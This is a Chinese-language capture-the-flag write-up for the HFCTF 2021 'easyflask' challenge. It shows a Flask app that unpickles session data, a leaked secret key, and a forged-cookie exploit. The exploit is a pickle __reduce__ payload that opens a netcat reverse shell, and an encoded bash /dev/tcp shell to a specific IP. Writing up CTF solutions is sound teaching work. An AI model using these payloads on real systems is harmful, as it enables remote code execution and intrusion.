[HFCTF 2021 Final]easyflask

[[python反序列化]]

首先题目给了提示，有文件读取漏洞，读取源码

python 复制代码

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典，会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

我们可以发现/admin目录下面有反序列化函数，但是我们直接反问不行
需要知道密钥，尝试读取/proc/self/environ，得到

glzjin22948575858jfjfjufirijidjitg3uiiuuh

通过

python 复制代码

        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典，会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化

我们可以知道，需要构造的秘钥结构：{"u":{"b":"反序列化的内容"}}

通过源码可知，这是python3.6，使用python3脚本进行构造

python 复制代码

import base64  
import pickle  
  
  
class User(object):  
def __reduce__(self):  
return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))  
  
  
print(base64.b64encode(pickle.dumps(User())))

得到：

payload

python3 flask_session_cookie_manager3.py encode -t '{"u":{"b":"gASVUQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDZiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzExNy41MC4xOTAuMTU1LzY2NjYgMD4mMSeUhZRSlC4="}}' -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

得到
.eJyrVipVsqpWSlKyUkp3DA4LDXSEAmdfpwinsmSjHJMcz3L3ZOOcqhT3sJIcL__QLJeozMgIv3xPZ8MsT-cUGLvA08Uk19PZMjsqIrIsxd2v3KfKtcKv0sTQ19mkwj_EsdQ3JNTQpyrSyC8rMt0XqNY3ODU0IyooOMfZxFapthYAzr8sbA.ZXMgvg.5o4NfEz84xfp9DPivNGKpmxTdd0

监听
nc -lvnp 6666
直接
cat /flag